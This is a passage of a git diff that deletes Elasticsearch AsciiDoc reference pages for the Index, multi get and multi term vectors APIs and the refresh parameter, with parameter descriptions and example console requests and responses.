-         "env2"
-      ]
-   }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"_seq_no" : \d+/"_seq_no" : $body._seq_no/ s/"_primary_term" : 1/"_primary_term" : $body._primary_term/]
-
-Only leaf fields can be retrieved with the `stored_field` option. Object fields
-can't be returned--if specified, the request fails.
diff --git a/docs/reference/docs/index_.asciidoc b/docs/reference/docs/index_.asciidoc
deleted file mode 100644
index 40575db62a0..00000000000
--- a/docs/reference/docs/index_.asciidoc
+++ /dev/null
@@ -1,621 +0,0 @@
-[[docs-index_]]
-=== Index API
-++++
-<titleabbrev>Index</titleabbrev>
-++++
-
-IMPORTANT: See <<removal-of-types>>.
-
-Adds a JSON document to the specified data stream or index and makes
-it searchable. If the target is an index and the document already exists,
-the request updates the document and increments its version.
-
-NOTE: You cannot use the index API to send update requests for existing
-documents to a data stream. See <<update-docs-in-a-data-stream-by-query>>
-and <<update-delete-docs-in-a-backing-index>>.
-
-[[docs-index-api-request]]
-==== {api-request-title}
-
-`PUT /<target>/_doc/<_id>`
-
-`POST /<target>/_doc/`
-
-`PUT /<target>/_create/<_id>`
-
-`POST /<target>/_create/<_id>`
-
-IMPORTANT: You cannot add new documents to a data stream using the
-`PUT /<target>/_doc/<_id>` request format. To specify a document ID, use the
-`PUT /<target>/_create/<_id>` format instead. See
-<<add-documents-to-a-data-stream>>.
-
-[[docs-index-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the following
-<<privileges-list-indices,index privileges>> for the target data stream, index,
-or index alias:
-
-** To add or overwrite a document using the `PUT /<target>/_doc/<_id>` request
-format, you must have the `create`, `index`, or `write` index privilege.
-
-** To add a document using the `POST /<target>/_doc/`,
-`PUT /<target>/_create/<_id>`, or `POST /<target>/_create/<_id>` request
-formats, you must have the `create_doc`, `create`, `index`, or `write` index
-privilege.
-
-** To automatically create a data stream or index with an index API request, you
-must have the `auto_configure`, `create_index`, or `manage` index privilege.
-
-* Automatic data stream creation requires a matching index template with data
-stream enabled. See <<set-up-a-data-stream>>.
-
-[[docs-index-api-path-params]]
-==== {api-path-parms-title}
-
-`<target>`::
-(Required, string) Name of the data stream or index to target.
-+
-If the target doesn't exist and matches the name or wildcard (`*`) pattern of an
-<<create-a-data-stream-template,index template with a `data_stream`
-definition>>, this request creates the data stream. See
-<<set-up-a-data-stream>>.
-+
-If the target doesn't exist and doesn't match a data stream template,
-this request creates the index.
-+
-You can check for existing targets using the resolve index API.
-
-`<_id>`::
-(Optional, string) Unique identifier for the document.
-+
---
-This parameter is required for the following request formats:
-
-* `PUT /<target>/_doc/<_id>`
-* `PUT /<target>/_create/<_id>`
-* `POST /<target>/_create/<_id>`
-
-To automatically generate a document ID, use the `POST /<target>/_doc/` request
-format and omit this parameter.
---
-
-
-
-[[docs-index-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=if_seq_no]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=if_primary_term]
-
-[[docs-index-api-op_type]]
-`op_type`::
-(Optional, enum) Set to `create` to only index the document
-if it does not already exist (_put if absent_). If a document with the specified
-`_id` already exists, the indexing operation will fail. Same as using the
-`<index>/_create` endpoint. Valid values: `index`, `create`.
-If document id is specified, it defaults to `index`. Otherwise, it defaults to `create`.
-+
-NOTE: If the request targets a data stream, an `op_type` of `create` is
-required. See <<add-documents-to-a-data-stream>>.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=pipeline]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=refresh]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=routing]
-
-`timeout`::
-+
---
-(Optional, <<time-units, time units>>)
-Period the request waits for the following operations:
-
-* <<index-creation,Automatic index creation>>
-* <<dynamic-mapping,Dynamic mapping>> updates
-* <<index-wait-for-active-shards,Waiting for active shards>>
-
-Defaults to `1m` (one minute). This guarantees {es} waits for at least the
-timeout before failing. The actual wait time could be longer, particularly when
-multiple waits occur.
---
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=doc-version]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=version_type]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=wait_for_active_shards]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=require-alias]
-
-[[docs-index-api-request-body]]
-==== {api-request-body-title}
-
-`<field>`::
-(Required, string) Request body contains the JSON source for the document
-data.
-
-[[docs-index-api-response-body]]
-==== {api-response-body-title}
-
-`_shards`::
-Provides information about the replication process of the index operation.
-
-`_shards.total`::
-Indicates how many shard copies (primary and replica shards) the index operation
-should be executed on.
-
-`_shards.successful`::
-Indicates the number of shard copies the index operation succeeded on.
-When the index operation is successful, `successful` is at least 1.
-+
-NOTE: Replica shards might not all be started when an indexing operation
-returns successfully--by default, only the primary is required. Set
-`wait_for_active_shards` to change this default behavior. See
-<<index-wait-for-active-shards>>.
-
-`_shards.failed`::
-An array that contains replication-related errors in the case an index operation
-failed on a replica shard. 0 indicates there were no failures.
-
-`_index`::
-The name of the index the document was added to.
-
-`_type`::
-The document type. {es} indices now support a single document type, `_doc`.
-
-`_id`::
-The unique identifier for the added document.
-
-`_version`::
-The document version. Incremented each time the document is updated.
-
-`_seq_no`::
-The sequence number assigned to the document for the indexing operation.
-Sequence numbers are used to ensure an older version of a document
-doesn’t overwrite a newer version. See <<optimistic-concurrency-control-index>>.
-
-`_primary_term`::
-The primary term assigned to the document for the indexing operation.
-See <<optimistic-concurrency-control-index>>.
-
-`result`::
-The result of the indexing operation, `created` or `updated`.
-
-[[docs-index-api-desc]]
-==== {api-description-title}
-
-You can index a new JSON document with the `_doc` or `_create` resource. Using
-`_create` guarantees that the document is only indexed if it does not already
-exist. To update an existing document, you must use the `_doc` resource.
-
-[[index-creation]]
-===== Automatically create data streams and indices
-
-If request's target doesn't exist and matches an
-<<create-a-data-stream-template,index template with a `data_stream`
-definition>>, the index operation automatically creates the data stream. See
-<<set-up-a-data-stream>>.
-
-If the target doesn't exist and doesn't match a data stream template,
-the operation automatically creates the index and applies any matching
-<<index-templates,index templates>>.
-
-[IMPORTANT]
-====
-{es} has built-in index templates for the `metrics-*-*`, `logs-*-*`, and `synthetics-*-*` index
-patterns, each with a priority of `100`.
-{ingest-guide}/fleet-overview.html[{agent}] uses these templates to
-create data streams. If you use {agent}, assign your index templates a priority
-lower than `100` to avoid overriding the built-in templates.
-
-Otherwise, to avoid accidentally applying the built-in templates, use a
-non-overlapping index pattern or assign templates with an overlapping pattern a
-`priority` higher than `100`.
-
-For example, if you don't use {agent} and want to create a template for the
-`logs-*` index pattern, assign your template a priority of `200`. This ensures
-your template is applied instead of the built-in template for `logs-*-*`.
-====
-
-If no mapping exists, the index operation
-creates a dynamic mapping. By default, new fields and objects are
-automatically added to the mapping if needed. For more information about field
-mapping, see <<mapping,mapping>> and the <<indices-put-mapping,put mapping>> API.
-
-Automatic index creation is controlled by the `action.auto_create_index`
-setting. This setting defaults to `true`, which allows any index to be created
-automatically. You can modify this setting to explicitly allow or block
-automatic creation of indices that match specified patterns, or set it to
-`false` to disable automatic index creation entirely. Specify a
-comma-separated list of patterns you want to allow, or prefix each pattern with
-`+` or `-` to indicate whether it should be allowed or blocked.  When a list is
-specified, the default behaviour is to disallow.
-
-IMPORTANT: The `action.auto_create_index` setting only affects the automatic
-creation of indices. It does not affect the creation of data streams.
-
-[source,console]
---------------------------------------------------
-PUT _cluster/settings
-{
-  "persistent": {
-    "action.auto_create_index": "my-index-000001,index10,-index1*,+ind*" <1>
-  }
-}
-
-PUT _cluster/settings
-{
-  "persistent": {
-    "action.auto_create_index": "false" <2>
-  }
-}
-
-PUT _cluster/settings
-{
-  "persistent": {
-    "action.auto_create_index": "true" <3>
-  }
-}
---------------------------------------------------
-
-<1> Allow auto-creation of indices called `my-index-000001` or `index10`, block the
-creation of indices that match the pattern `index1*`, and allow creation of
-any other indices that match the `ind*` pattern. Patterns are matched in
-the order specified.
-
-<2> Disable automatic index creation entirely.
-
-<3> Allow automatic creation of any index. This is the default.
-
-[discrete]
-[[operation-type]]
-===== Put if absent
-
-You can force a create operation by using the `_create` resource or
-setting the `op_type` parameter to _create_. In this case,
-the index operation fails if a document with the specified ID
-already exists in the index.
-
-[discrete]
-[[create-document-ids-automatically]]
-===== Create document IDs automatically
-
-When using the `POST /<target>/_doc/` request format, the `op_type` is
-automatically set to `create` and the index operation generates a unique ID for
-the document.
-
-[source,console]
---------------------------------------------------
-POST my-index-000001/_doc/
-{
-  "@timestamp": "2099-11-15T13:12:00",
-  "message": "GET /search HTTP/1.1 200 1070000",
-  "user": {
-    "id": "kimchy"
-  }
-}
---------------------------------------------------
-
-The API returns the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-  "_shards": {
-    "total": 2,
-    "failed": 0,
-    "successful": 2
-  },
-  "_index": "my-index-000001",
-   "_type": "_doc",
-  "_id": "W0tpsmIBdwcYyG50zbta",
-  "_version": 1,
-  "_seq_no": 0,
-  "_primary_term": 1,
-  "result": "created"
-}
---------------------------------------------------
-// TESTRESPONSE[s/W0tpsmIBdwcYyG50zbta/$body._id/ s/"successful": 2/"successful": 1/]
-
-[discrete]
-[[optimistic-concurrency-control-index]]
-===== Optimistic concurrency control
-
-Index operations can be made conditional and only be performed if the last
-modification to the document was assigned the sequence number and primary
-term specified by the `if_seq_no` and `if_primary_term` parameters. If a
-mismatch is detected, the operation will result in a `VersionConflictException`
-and a status code of 409. See <<optimistic-concurrency-control>> for more details.
-
-[discrete]
-[[index-routing]]
-===== Routing
-
-By default, shard placement -- or `routing` -- is controlled by using a
-hash of the document's id value. For more explicit control, the value
-fed into the hash function used by the router can be directly specified
-on a per-operation basis using the `routing` parameter. For example:
-
-[source,console]
---------------------------------------------------
-POST my-index-000001/_doc?routing=kimchy
-{
-  "@timestamp": "2099-11-15T13:12:00",
-  "message": "GET /search HTTP/1.1 200 1070000",
-  "user": {
-    "id": "kimchy"
-  }
-}
---------------------------------------------------
-
-In this example, the document is routed to a shard based on
-the `routing` parameter provided: "kimchy".
-
-When setting up explicit mapping, you can also use the `_routing` field
-to direct the index operation to extract the routing value from the
-document itself. This does come at the (very minimal) cost of an
-additional document parsing pass. If the `_routing` mapping is defined
-and set to be `required`, the index operation will fail if no routing
-value is provided or extracted.
-
-NOTE: Data streams do not support custom routing. Instead, target the
-appropriate backing index for the stream.
-
-[discrete]
-[[index-distributed]]
-===== Distributed
-
-The index operation is directed to the primary shard based on its route
-(see the Routing section above) and performed on the actual node
-containing this shard. After the primary shard completes the operation,
-if needed, the update is distributed to applicable replicas.
-
-[discrete]
-[[index-wait-for-active-shards]]
-===== Active shards
-
-To improve the resiliency of writes to the system, indexing operations
-can be configured to wait for a certain number of active shard copies
-before proceeding with the operation. If the requisite number of active
-shard copies are not available, then the write operation must wait and
-retry, until either the requisite shard copies have started or a timeout
-occurs. By default, write operations only wait for the primary shards
-to be active before proceeding (i.e. `wait_for_active_shards=1`).
-This default can be overridden in the index settings dynamically
-by setting `index.write.wait_for_active_shards`. To alter this behavior
-per operation, the `wait_for_active_shards` request parameter can be used.
-
-Valid values are `all` or any positive integer up to the total number
-of configured copies per shard in the index (which is `number_of_replicas+1`).
-Specifying a negative value or a number greater than the number of
-shard copies will throw an error.
-
-For example, suppose we have a cluster of three nodes, `A`, `B`, and `C` and
-we create an index `index` with the number of replicas set to 3 (resulting in
-4 shard copies, one more copy than there are nodes). If we
-attempt an indexing operation, by default the operation will only ensure
-the primary copy of each shard is available before proceeding. This means
-that even if `B` and `C` went down, and `A` hosted the primary shard copies,
-the indexing operation would still proceed with only one copy of the data.
-If `wait_for_active_shards` is set on the request to `3` (and all 3 nodes
-are up), then the indexing operation will require 3 active shard copies
-before proceeding, a requirement which should be met because there are 3
-active nodes in the cluster, each one holding a copy of the shard. However,
-if we set `wait_for_active_shards` to `all` (or to `4`, which is the same),
-the indexing operation will not proceed as we do not have all 4 copies of
-each shard active in the index. The operation will timeout
-unless a new node is brought up in the cluster to host the fourth copy of
-the shard.
-
-It is important to note that this setting greatly reduces the chances of
-the write operation not writing to the requisite number of shard copies,
-but it does not completely eliminate the possibility, because this check
-occurs before the write operation commences. Once the write operation
-is underway, it is still possible for replication to fail on any number of
-shard copies but still succeed on the primary. The `_shards` section of the
-write operation's response reveals the number of shard copies on which
-replication succeeded/failed.
-
-[source,js]
---------------------------------------------------
-{
-  "_shards": {
-    "total": 2,
-    "failed": 0,
-    "successful": 2
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-[discrete]
-[[index-refresh]]
-===== Refresh
-
-Control when the changes made by this request are visible to search. See
-<<docs-refresh,refresh>>.
-
-[discrete]
-[[index-noop]]
-===== Noop updates
-
-When updating a document using the index API a new version of the document is
-always created even if the document hasn't changed. If this isn't acceptable
-use the `_update` API with `detect_noop` set to true. This option isn't
-available on the index API because the index API doesn't fetch the old source
-and isn't able to compare it against the new source.
-
-There isn't a hard and fast rule about when noop updates aren't acceptable.
-It's a combination of lots of factors like how frequently your data source
-sends updates that are actually noops and how many queries per second
-Elasticsearch runs on the shard receiving the updates.
-
-[discrete]
-[[timeout]]
-===== Timeout
-
-The primary shard assigned to perform the index operation might not be
-available when the index operation is executed. Some reasons for this
-might be that the primary shard is currently recovering from a gateway
-or undergoing relocation. By default, the index operation will wait on
-the primary shard to become available for up to 1 minute before failing
-and responding with an error. The `timeout` parameter can be used to
-explicitly specify how long it waits. Here is an example of setting it
-to 5 minutes:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001/_doc/1?timeout=5m
-{
-  "@timestamp": "2099-11-15T13:12:00",
-  "message": "GET /search HTTP/1.1 200 1070000",
-  "user": {
-    "id": "kimchy"
-  }
-}
---------------------------------------------------
-
-[discrete]
-[[index-versioning]]
-===== Versioning
-
-Each indexed document is given a version number. By default,
-internal versioning is used that starts at 1 and increments
-with each update, deletes included. Optionally, the version number can be
-set to an external value (for example, if maintained in a
-database). To enable this functionality, `version_type` should be set to
-`external`. The value provided must be a numeric, long value greater than or equal to 0,
-and less than around 9.2e+18.
-
-When using the external version type, the system checks to see if
-the version number passed to the index request is greater than the
-version of the currently stored document. If true, the document will be
-indexed and the new version number used. If the value provided is less
-than or equal to the stored document's version number, a version
-conflict will occur and the index operation will fail. For example:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001/_doc/1?version=2&version_type=external
-{
-  "user": {
-    "id": "elkbee"
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-NOTE: Versioning is completely real time, and is not affected by the
-near real time aspects of search operations. If no version is provided,
-then the operation is executed without any version checks.
-
-In the previous example, the operation will succeed since the supplied
-version of 2 is higher than
-the current document version of 1. If the document was already updated
-and its version was set to 2 or higher, the indexing command will fail
-and result in a conflict (409 http status code).
-
-A nice side effect is that there is no need to maintain strict ordering
-of async indexing operations executed as a result of changes to a source
-database, as long as version numbers from the source database are used.
-Even the simple case of updating the Elasticsearch index using data from
-a database is simplified if external versioning is used, as only the
-latest version will be used if the index operations arrive out of order for
-whatever reason.
-
-[discrete]
-[[index-version-types]]
-===== Version types
-
-In addition to the `external` version type, Elasticsearch
-also supports other types for specific use cases:
-
-[[_version_types]]
-`internal`:: Only index the document if the given version is identical to the version
-of the stored document.
-
-`external` or `external_gt`:: Only index the document if the given version is strictly higher
-than the version of the stored document *or* if there is no existing document. The given
-version will be used as the new version and will be stored with the new document. The supplied
-version must be a non-negative long number.
-
-`external_gte`:: Only index the document if the given version is *equal* or higher
-than the version of the stored document. If there is no existing document
-the operation will succeed as well. The given version will be used as the new version
-and will be stored with the new document. The supplied version must be a non-negative long number.
-
-NOTE: The `external_gte` version type is meant for special use cases and
-should be used with care. If used incorrectly, it can result in loss of data.
-There is another option, `force`, which is deprecated because it can cause
-primary and replica shards to diverge.
-
-[[docs-index-api-example]]
-==== {api-examples-title}
-
-Insert a JSON document into the `my-index-000001` index with an `_id` of 1:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001/_doc/1
-{
-  "@timestamp": "2099-11-15T13:12:00",
-  "message": "GET /search HTTP/1.1 200 1070000",
-  "user": {
-    "id": "kimchy"
-  }
-}
---------------------------------------------------
-
-The API returns the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-  "_shards": {
-    "total": 2,
-    "failed": 0,
-    "successful": 2
-  },
-  "_index": "my-index-000001",
-   "_type": "_doc",
-  "_id": "1",
-  "_version": 1,
-  "_seq_no": 0,
-  "_primary_term": 1,
-  "result": "created"
-}
---------------------------------------------------
-// TESTRESPONSE[s/"successful": 2/"successful": 1/]
-
-Use the `_create` resource to index a document into the `my-index-000001` index if
-no document with that ID exists:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001/_create/1
-{
-  "@timestamp": "2099-11-15T13:12:00",
-  "message": "GET /search HTTP/1.1 200 1070000",
-  "user": {
-    "id": "kimchy"
-  }
-}
---------------------------------------------------
-
-Set the `op_type` parameter to _create_ to index a document into the `my-index-000001`
-index if no document with that ID exists:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001/_doc/1?op_type=create
-{
-  "@timestamp": "2099-11-15T13:12:00",
-  "message": "GET /search HTTP/1.1 200 1070000",
-  "user": {
-    "id": "kimchy"
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/docs/multi-get.asciidoc b/docs/reference/docs/multi-get.asciidoc
deleted file mode 100644
index ae29c645702..00000000000
--- a/docs/reference/docs/multi-get.asciidoc
+++ /dev/null
@@ -1,301 +0,0 @@
-[[docs-multi-get]]
-=== Multi get (mget) API
-++++
-<titleabbrev>Multi get</titleabbrev>
-++++
-
-Retrieves multiple JSON documents by ID. 
-
-[source,console]
---------------------------------------------------
-GET /_mget
-{
-  "docs": [
-    {
-      "_index": "my-index-000001",
-      "_id": "1"
-    },
-    {
-      "_index": "my-index-000001",
-      "_id": "2"
-    }
-  ]
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-[[docs-multi-get-api-request]]
-==== {api-request-title}
-
-`GET /_mget`
-
-`GET /<index>/_mget`
-
-[[docs-multi-get-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `read`
-<<privileges-list-indices,index privilege>> for the target index or index alias.
-
-[[docs-multi-get-api-desc]]
-==== {api-description-title}
-
-You use `mget` to retrieve multiple documents from one or more indices.
-If you specify an index in the request URI, you only need to specify the document IDs in the request body.
-
-[[mget-security]]
-===== Security
-
-See <<url-access-control>>.
-
-[[multi-get-partial-responses]]
-===== Partial responses
-
-To ensure fast responses, the multi get API responds with partial results if one or more shards fail. 
-See <<shard-failures, Shard failures>> for more information.
-
-[[docs-multi-get-api-path-params]]
-==== {api-path-parms-title}
-
-`<index>`::
-(Optional, string) Name of the index to retrieve documents from when `ids` are specified,
-or when a document in the `docs` array does not specify an index.
-
-[[docs-multi-get-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=preference]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=realtime]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=refresh]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=routing]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=stored_fields]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=source]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=source_excludes]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=source_includes]
-
-[[docs-multi-get-api-request-body]]
-==== {api-request-body-title}
-
-`docs`::
-(Optional, array) The documents you want to retrieve.
-Required if no index is specified in the request URI.
-You can specify the following attributes for each
-document:
-+
---
-`_id`::
-(Required, string) The unique document ID.
-
-`_index`::
-(Optional, string)
-The index that contains the document.
-Required if no index is specified in the request URI.
-
-`_routing`::
-(Optional, string) The key for the primary shard the document resides on.
-Required if routing is used during indexing.
-
-`_source`::
-(Optional, Boolean) If `false`,  excludes all `_source` fields. Defaults to `true`.
-`source_include`:::
-(Optional, array) The fields to extract and return from the `_source` field.
-`source_exclude`:::
-(Optional, array) The fields to exclude from the returned `_source` field.
-
-`_stored_fields`::
-(Optional, array) The stored fields you want to retrieve.
---
-
-`ids`::
-(Optional, array) The IDs of the documents you want to retrieve.
-Allowed when the index is specified in the request URI.
-
-[[multi-get-api-response-body]]
-==== {api-response-body-title}
-
-The response includes a `docs` array that contains the documents in the order specified in the request. 
-The structure of the returned documents is similar to that returned by the <<docs-get,get>> API.
-If there is a failure getting a particular document, the error is included in place of the document. 
-
-[[docs-multi-get-api-example]]
-==== {api-examples-title}
-
-[[mget-ids]]
-===== Get documents by ID
-
-If you specify an index in the request URI, only the document IDs are required in the request body:
-
-[source,console]
---------------------------------------------------
-GET /my-index-000001/_mget
-{
-  "docs": [
-    {
-      "_type": "_doc",
-      "_id": "1"
-    },
-    {
-      "_type": "_doc",
-      "_id": "2"
-    }
-  ]
-}
---------------------------------------------------
-
-And type:
-
-[source,console]
---------------------------------------------------
-GET /test/_doc/_mget
-{
-  "docs": [
-    {
-      "_id": "1"
-    },
-    {
-      "_id": "2"
-    }
-  ]
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-You can use the `ids` element to simplify the request:
-
-[source,console]
---------------------------------------------------
-GET /my-index-000001/_mget
-{
-  "ids" : ["1", "2"]
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-[[mget-source-filtering]]
-===== Filter source fields
-
-By default, the `_source` field is returned for every document (if stored). 
-Use the `_source` and `_source_include` or `source_exclude` attributes to 
-filter what fields are returned for a particular document.
-You can include the `_source`, `_source_includes`, and `_source_excludes` query parameters in the
-request URI to specify the defaults to use when there are no per-document instructions.
-
-For example, the following request sets `_source` to false for document 1 to exclude the
-source entirely, retrieves `field3` and `field4` from document 2, and retrieves the `user` field
-from document 3 but filters out the `user.location` field.
-
-[source,console]
---------------------------------------------------
-GET /_mget
-{
-  "docs": [
-    {
-      "_index": "test",
-      "_type": "_doc",
-      "_id": "1",
-      "_source": false
-    },
-    {
-      "_index": "test",
-      "_type": "_doc",
-      "_id": "2",
-      "_source": [ "field3", "field4" ]
-    },
-    {
-      "_index": "test",
-      "_type": "_doc",
-      "_id": "3",
-      "_source": {
-        "include": [ "user" ],
-        "exclude": [ "user.location" ]
-      }
-    }
-  ]
-}
---------------------------------------------------
-
-[[mget-fields]]
-===== Get stored fields
-
-Use the `stored_fields` attribute to specify the set of stored fields you want
-to retrieve. Any requested fields that are not stored are ignored. 
-You can include the `stored_fields` query parameter in the request URI to specify the defaults 
-to use when there are no per-document instructions. 
-
-For example, the following request retrieves `field1` and `field2` from document 1, and
-`field3` and `field4`from document 2:
-
-[source,console]
---------------------------------------------------
-GET /_mget
-{
-  "docs": [
-    {
-      "_index": "test",
-      "_type": "_doc",
-      "_id": "1",
-      "stored_fields": [ "field1", "field2" ]
-    },
-    {
-      "_index": "test",
-      "_type": "_doc",
-      "_id": "2",
-      "stored_fields": [ "field3", "field4" ]
-    }
-  ]
-}
---------------------------------------------------
-
-The following request retrieves `field1` and `field2` from all documents by default.
-These default fields are returned for document 1, but 
-overridden to return `field3` and `field4` for document 2.
-
-[source,console]
---------------------------------------------------
-GET /test/_doc/_mget?stored_fields=field1,field2
-{
-  "docs": [
-    {
-      "_id": "1"
-    },
-    {
-      "_id": "2",
-      "stored_fields": [ "field3", "field4" ]
-    }
-  ]
-}
---------------------------------------------------
-
-[[mget-routing]]
-===== Specify document routing
-
-If routing is used during indexing, you need to specify the routing value to retrieve documents. 
-For example, the following request fetches `test/_doc/2`  from the shard corresponding to routing key `key1`,
-and fetches `test/_doc/1` from the shard corresponding to routing key `key2`.
-
-[source,console]
---------------------------------------------------
-GET /_mget?routing=key1
-{
-  "docs": [
-    {
-      "_index": "test",
-      "_type": "_doc",
-      "_id": "1",
-      "routing": "key2"
-    },
-    {
-      "_index": "test",
-      "_type": "_doc",
-      "_id": "2"
-    }
-  ]
-}
---------------------------------------------------
diff --git a/docs/reference/docs/multi-termvectors.asciidoc b/docs/reference/docs/multi-termvectors.asciidoc
deleted file mode 100644
index 90b31238a5c..00000000000
--- a/docs/reference/docs/multi-termvectors.asciidoc
+++ /dev/null
@@ -1,160 +0,0 @@
-[[docs-multi-termvectors]]
-=== Multi term vectors API
-++++
-<titleabbrev>Multi term vectors</titleabbrev>
-++++
-
-Retrieves multiple term vectors with a single request. 
-
-[source,console]
---------------------------------------------------
-POST /_mtermvectors
-{
-   "docs": [
-      {
-         "_index": "my-index-000001",
-         "_id": "2",
-         "term_statistics": true
-      },
-      {
-         "_index": "my-index-000001",
-         "_id": "1",
-         "fields": [
-            "message"
-         ]
-      }
-   ]
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-[[docs-multi-termvectors-api-request]]
-==== {api-request-title}
-
-`POST /_mtermvectors`
-
-`POST /<index>/_mtermvectors`
-
-[[docs-multi-termvectors-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `read`
-<<privileges-list-indices,index privilege>> for the target index or index alias.
-
-[[docs-multi-termvectors-api-desc]]
-==== {api-description-title}
-
-You can specify existing documents by index and ID or 
-provide artificial documents in the body of the request.  
-You can specify the index in the request body or request URI.
-
-The response contains a `docs` array with all the fetched termvectors. 
-Each element has the structure provided by the <<docs-termvectors,termvectors>>
-API. 
-
-See the <<docs-termvectors,termvectors>> API for more information about the information
-that can be included in the response.  
-
-[[docs-multi-termvectors-api-path-params]]
-==== {api-path-parms-title}
-
-`<index>`::
-(Optional, string) Name of the index that contains the documents.
-
-[[docs-multi-termvectors-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=fields]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=field_statistics]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=offsets]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=payloads]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=positions]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=preference]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=routing]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=realtime]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=term_statistics]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=version]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=version_type]
-
-[discrete]
-[[docs-multi-termvectors-api-example]]
-==== {api-examples-title}
-
-If you specify an index in the request URI, the index does not need to be specified for each documents
-in the request body:
-
-[source,console]
---------------------------------------------------
-POST /my-index-000001/_mtermvectors
-{
-   "docs": [
-      {
-         "_id": "2",
-         "fields": [
-            "message"
-         ],
-         "term_statistics": true
-      },
-      {
-         "_id": "1"
-      }
-   ]
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-If all requested documents are in same index and the parameters are the same, you can use the
-following simplified syntax:
-
-[source,console]
---------------------------------------------------
-POST /my-index-000001/_mtermvectors
-{
-  "ids": [ "1", "2" ],
-  "parameters": {
-    "fields": [
-      "message"
-    ],
-    "term_statistics": true
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-[[docs-multi-termvectors-artificial-doc]]
-===== Artificial documents
-
-You can also use `mtermvectors` to generate term vectors for _artificial_ documents provided
-in the body of the request. The mapping used is determined by the specified `_index`.
-
-[source,console]
---------------------------------------------------
-POST /_mtermvectors
-{
-   "docs": [
-      {
-         "_index": "my-index-000001",
-         "doc" : {
-            "message" : "test test test"
-         }
-      },
-      {
-         "_index": "my-index-000001",
-         "doc" : {
-           "message" : "Another test ..."
-         }
-      }
-   ]
-}
---------------------------------------------------
-// TEST[setup:my_index]
diff --git a/docs/reference/docs/refresh.asciidoc b/docs/reference/docs/refresh.asciidoc
deleted file mode 100644
index 2bbac2c0b1c..00000000000
--- a/docs/reference/docs/refresh.asciidoc
+++ /dev/null
@@ -1,111 +0,0 @@
-[[docs-refresh]]
-=== `?refresh`
-
-The <<docs-index_,Index>>, <<docs-update,Update>>, <<docs-delete,Delete>>, and
-<<docs-bulk,Bulk>> APIs support setting `refresh` to control when changes made
-by this request are made visible to search. These are the allowed values:
-
-Empty string or `true`::
-
-Refresh the relevant primary and replica shards (not the whole index)
-immediately after the operation occurs, so that the updated document appears
-in search results immediately. This should *ONLY* be done after careful thought
-and verification that it does not lead to poor performance, both from an
-indexing and a search standpoint.
-
-`wait_for`::
-
-Wait for the changes made by the request to be made visible by a refresh before
-replying. This doesn't force an immediate refresh, rather, it waits for a
-refresh to happen. Elasticsearch automatically refreshes shards that have changed
-every `index.refresh_interval` which defaults to one second. That setting is
-<<dynamic-index-settings,dynamic>>. Calling the <<indices-refresh>> API or
-setting `refresh` to `true` on any of the APIs that support it will also
-cause a refresh, in turn causing already running requests with `refresh=wait_for`
-to return.
-
-`false` (the default)::
-
-Take no refresh related actions. The changes made by this request will be made
-visible at some point after the request returns.
-
-[discrete]
-==== Choosing which setting to use
-// tag::refresh-default[]
-Unless you have a good reason to wait for the change to become visible, always
-use `refresh=false` (the default setting). The simplest and fastest choice is to omit the `refresh` parameter from the URL.
-
-If you absolutely must have the changes made by a request visible synchronously
-with the request, you must choose between putting more load on
-Elasticsearch (`true`) and waiting longer for the response (`wait_for`).
-// end::refresh-default[]
-Here are a few points that should inform that decision:
-
-* The more changes being made to the index the more work `wait_for` saves
-compared to `true`. In the case that the index is only changed once every
-`index.refresh_interval` then it saves no work.
-* `true` creates less efficient indexes constructs (tiny segments) that must
-later be merged into more efficient index constructs (larger segments). Meaning
